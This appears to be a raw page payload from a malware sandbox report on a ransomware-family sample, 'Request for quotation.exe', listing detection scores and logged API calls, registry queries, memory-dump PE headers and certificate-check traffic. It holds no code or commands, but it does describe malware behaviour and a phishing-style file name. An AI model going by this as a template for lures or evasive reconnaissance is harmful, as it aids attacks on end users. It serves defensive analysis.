26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 50:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4b1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Ransom.Loki Sample 1e712ef0a37d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1e712ef0a37d…. Malware family: Trojan.Ransom.Loki. Threat score 100/100. 17/27 AV engines flagged this file. 13 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b","keywords":["Malicious","Trojan.Ransom.Loki","malware analysis","sandbox report","threat intelligence","1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b"],"about":{"@type":"SoftwareApplication","name":"Request for quotation.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Ransom.Loki","antivirusDetections":{"malicious":17,"total":27},"behavioralIndicators":{"malicious":13,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5ef,"Requestforquotation.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4641032'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4641064'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4641048'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '1922301952', 'hResInfo': '1923428728'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '1922301952', 'hResInfo': '1923427576'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '1922301952', 'hResInfo': '1923427592'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '1899495424', 'hResInfo': '1900651024'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '3932161', 'hResInfo': '3932816'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '1763704832', 'hResInfo': '1764578984'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '4849665', 'hResInfo': '4850320'}" (UID: 00000000-00003916) "Requestforquotation.exe" called "LoadResource with parameter {'hModule': '1762394112', 'hResInfo': '1763268264'}" (UID: 00000000-00003916)28:T664,Found PE header "MZ" - Source: "00000000-00002972.00000000.66405.00ED0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002972.00000001.66899.00590000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00002972.00000001.66899.00610000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00002972.00000001.66899.00ED0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002972.00000001.66899.04040000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00002972.00000001.66899.04C10000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000000.67194.00260000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000000.67194.00400000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000000.67194.00ED0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000001.69116.00400000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000001.69116.00E10000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000001.69116.00ED0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000002.71036.00400000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000002.71036.00E10000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000002.71036.00ED0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000003.77680.00400000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000003.77680.00E10000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003916.00000003.77680.00ED0000.00000002.mdmp")29:T12f3,Contains base64 string in header "2B3ahq1OMCAxvnFQ" in header "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "User" in header "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "ocsp" in header "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET /gdroot.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "User" in header "GET /gdroot.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "2BMDwwOjAJBgUrDgMCGgUABBQdI2" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "User" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "ocsp" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET /gdroot-g2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "User" in header "GET /gdroot-g2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "2B2yz8LQsgM4CCQCkYG4" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "2BrkSiPg" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "Keep" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "User" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "ocsp" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base64 string in header "/gdig2s1" in header "GET /gdig2s1-5395.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "5395" in header "GET /gdig2s1-5395.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "Keep" in header "GET /gdig2s1-5395.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com" Contains base64 string in header "User" in header "GET /gdig2s1-5395.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.godaddy.com"2a:Ta0a,"Requestforquotation.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000a7009e010000000000000000000000000000000000001200a2009e0100000000000000000000906b2d000000000020000000000000000000000008492f0080682d00a0692d00609a2f00486d2d0040fb5500e4f855007c91b03340fb550095e17677285cf700feffffffff2b7a779a2a7a7764c53c77b69f7a7700000000000000000000000000000000000000000000000001000000000000000000b37500000000e8f95500000000000000000000000000fcf955000000000000000000000000000000000088699a5ef0f95500020000000000000064c53c77609a2f0064c53c77 (UID: 00000000-00002972) "Requestforquotation.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002972) "Requestforquotation.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002972) "Requestforquotation.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002d000000000074012d0000000000040000000000000050012d0018000000b82731000000000018000000180001011400000023257d6d44f4140095e176773052f700000000000300000300523000a80400acb8273100010000000000000080000000b0273100063f003978fe30000100000000000000020000000c00000090b3300090b330008bb3300000000000ecf3140000002d00b827310130f31400f8f3140050f9140095e176771052f700feffffff435c7a7750597a7794000000a00000008ab3300088b3300094000000d4f41400fdfe4b779c0b00001c0e00007cf41400 (UID: 00000000-00002972)2b:T16ab,"Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f0be2f0054fb5500145c7a77435c7a7720fc55000100000094012d0001000000d4fa5500935c7b7740838277d4a07a77ecbad87720fc5500010000000100000068c02f0000000000a4fa5500d4fa550040fb550095e17677c044f700feffffffd4a07a771bbe8f750000377700000000 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100002400000002000000000000000000000042f830001100000000000000000000002200000000000000000000000d00000d6d1e0000b82b31000052300041007000700044006100740061005c004c006f00630061006c005c00500072006f006700720061006d0073005c00500079007400 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f5f67a778cab9977f42e0f6de8d32f00a0350f6dbcab9977dceb140068be2f00b2f47a77acab9977eceb14000000086d0000086d0000000048eb1400f0000000f000086d0000000058eb140053000000ecec14000000000001000000bceb140040f57a770000000000000000a8eb1400 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c470474987e37008c47047400000000987e3700fce11400086d7a771881827700000000b0e2140000000000de54c8683ce2140095e17677f851f700feffffff6b2c7b773119907502100000000000000000010010e21400c89f7a778c4704740000000000000000 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002972) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007750597a7798010000a00100004a1c1c02481c1c0208161c0200001902ec141c02880000008800000017687a7710181c02ff2b7a775987ad771c1c1c02ac0126000000260000001902b86d19021200a2006f030000b86d1902c8161c02100000000000000013009d006f030000b86d1902 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb937710a97a0000f0fd7f9a5c7b7700e0fd7fa8ca200044f0fd7f00000000400000003f0000001f00000000f0fd7f9cca2000c15c7b77608282771f00000000f0fd7f9a5c7b7700e0fd7fc0ca200057897a778083827713179075d8eb9377 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01a8e6d08000000c41a8e6dd768398102000000d41c8e6d00002100e6168e6da86b3b00986b3b0038dc2000d0f08f6df8dc200053af8f6d73ae97ecfeffffffc41a8e6d421a8e6de6168e6d8cdc2000d91b8e6de6168e6d67c12e76ae059375745793750000000000000000cc928f75 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01a8e6d08000000c41a8e6dd768398102000000d41c8e6d0000210002000000000000008800000038dc200078dc2000459d2e7600003b00000000008000000002000000000021009813916d8cdc2000 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01a916d08000000c41a916d69780c8702000000d41c916d00002100e616916da86b3b00986b3b00b8dc2000d0f0926d78dd200053af926d4dbebdeafeffffffc41a916d421a916de616916d0cdd2000d91b916de616916d67c12e76ae059375745793750000000000000000cc928f75 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100771a0000003590ad7700000000009f7c00d86b2600f86c2600e80e8000a070260095e1767744e32000feffffff7ce4200095e176779d6ff700feffffffff2b7a779a2a7a77a0e42000a8e52000c8e42000340000c014e42000e7387a77ec387a779997ad77340000c0c8e42000a8e52000 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec387a773590ad77cce42000105e797700e4200090e320001c5e79770ce5200095e17677fd6bf700feffffffec387a7761d64b77340000c05d0d4976b8e520006ed64b7790020000f4e42000fce42000ff2b7a77f8e420000200000000000000000000009002000020932a0000e42000 (UID: 00000000-00003916) "Requestforquotation.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077ec387a773590ad77cce42000105e797700e4200090e320001c5e79770ce5200095e17677fd6bf700feffffffec387a7761d64b77340000c05d0d4976b8e520006ed64b7790020000f4e42000fce42000ff2b7a77f8e420000200000000000000000000009002000060972a0000e42000 (UID: 00000000-00003916)2c:T7ae,"Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Requestforquotation.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2d:Tae4,"Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")2e:T61c,"Requestforquotation.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Requestforquotation.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Requestforquotation.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")2f:T46e,"Requestforquotation.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002972) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002972) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003916) "Requestforquotation.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003916) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00003916) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00003916) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003916) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00003916) "Requestforquotation.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00003916)30:T4cf0,"Requestforquotation.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00002972) "Requestforquotation.exe" called "LoadLibrary" with a parameter 